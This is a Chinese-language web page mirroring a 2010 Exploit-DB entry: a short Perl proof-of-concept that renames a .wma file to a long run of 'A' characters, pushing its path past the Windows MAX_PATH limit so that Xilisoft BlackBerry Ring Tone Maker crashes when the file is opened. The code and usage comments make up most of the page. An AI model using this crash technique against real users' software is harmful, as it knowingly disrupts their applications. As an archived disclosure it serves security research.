Xilisoft BlackBerry Ring Tone Maker – ‘.wma’ Local Crash - 体验盒子

作者： anonymous

日期： 2010-03-30

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/11959/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

#!/usr/bin/perl

# Exploit Title: Xilisoft Blackberry Ring Tone Maker .wma Local Crash

# Date: March 29, 2010

# Software Link: [http://www.xilisoft.com/blackberry-ringtone-maker.html]

# Version: 1.0.12 build-0326

# Tested on: Windows XP SP3 / Windows 7

# Cost: 9.95 USD

# Author: [anonymous]

# Site: http://www.setfreesecurity.com

#

# Xilisoft Blackberry Ring Tone Maker software crashes when you open a legit .wma file that

# is beyond the maximum length for a path. [MAX_PATH, which is defined as 260 characters]

# Reference: [http://msdn.microsoft.com/en-us/library/aa365247%28VS.85%29.aspx#maxpath]

#

# To exploit: Run the code to change a legit .wma file and then make sure that the file

# is placed on the Windows OS deep enough to open pass the 260 "MAX PATH

#

#Ex: C:\Documents and Settings\victim\Desktop\name_of_file.wma

#

# Pull your sickness from my throat, Let me breath the truth

# Greetz: GOD, The wife for support, 4lex, & C.I.A

#

print "Name That Song! ";

chomp ($song = <STDIN>);

$junk = "\x41" x 214;

rename ("$song.wma", "$junk.wma");

print "Bury deep! \n";

exit;